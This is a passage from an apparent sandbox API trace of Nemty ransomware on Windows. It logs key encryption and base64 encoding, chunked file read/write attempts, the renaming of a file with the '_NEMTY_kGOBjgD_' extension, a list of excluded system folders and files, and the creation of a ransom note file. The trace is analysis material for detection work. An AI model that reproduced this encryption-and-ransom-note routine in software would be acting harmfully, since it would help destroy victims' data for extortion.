lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0125.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0125.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0125.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0125.781] Sleep (dwMilliseconds=0x5) [0125.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfea094b0, dwHighDateTime=0x1d561e7)) [0125.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfea094b0, dwHighDateTime=0x1d561e7)) [0125.802] GetLastError () returned 0xb7 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.802] GetLastError () returned 0xb7 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.802] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0125.802] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0125.802] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0125.802] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="pLbW41KdK4w79rGND0s3V0cJRzkSZ2FftqPNEBHnXyziSZHZB7UV/Slivtj6d3tS\r\nNEq1tS2rMINwzKl8TpTAV21Q2SXBgrLmieq8wRwHCP3Zu5VsZyoxrweDE/RpDvCW\r\n1fPn/hRU6og8+05meA0r15q3X+F5r3cHpZF9haissCSPooftDvP6GJSG9X9Uet3A\r\nrPN607/3JO6QC+UhG8xjFD4HM7wym6AL7kqxHOQhWfEn8C8N5RLVl7BxXBZp8hsD\r\nWCGgSLdM39ZWjapGQSIFvlo5Q5uvIUhXUSWpYnwrn0ffAp+P7YWU1Ul8w/HSZhBG\r\nvuvpppyxMEzMt7qDQG34sA==\r\n", pcchString=0x653ec5c) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0125.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0125.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0125.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0125.803] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.803] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0125.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0125.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0125.914] CloseHandle (hObject=0xffffffff) returned 0 [0125.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0125.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0125.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0125.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0125.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0125.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0125.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0125.915] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0125.915] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0125.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0125.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0125.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0125.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0125.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0125.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0125.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0125.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0125.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0125.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340178 [0125.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0125.916] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0125.917] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.917] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0125.918] CloseHandle (hObject=0x1ec) returned 1 [0125.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0125.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0125.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0125.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340288 [0125.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0125.918] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 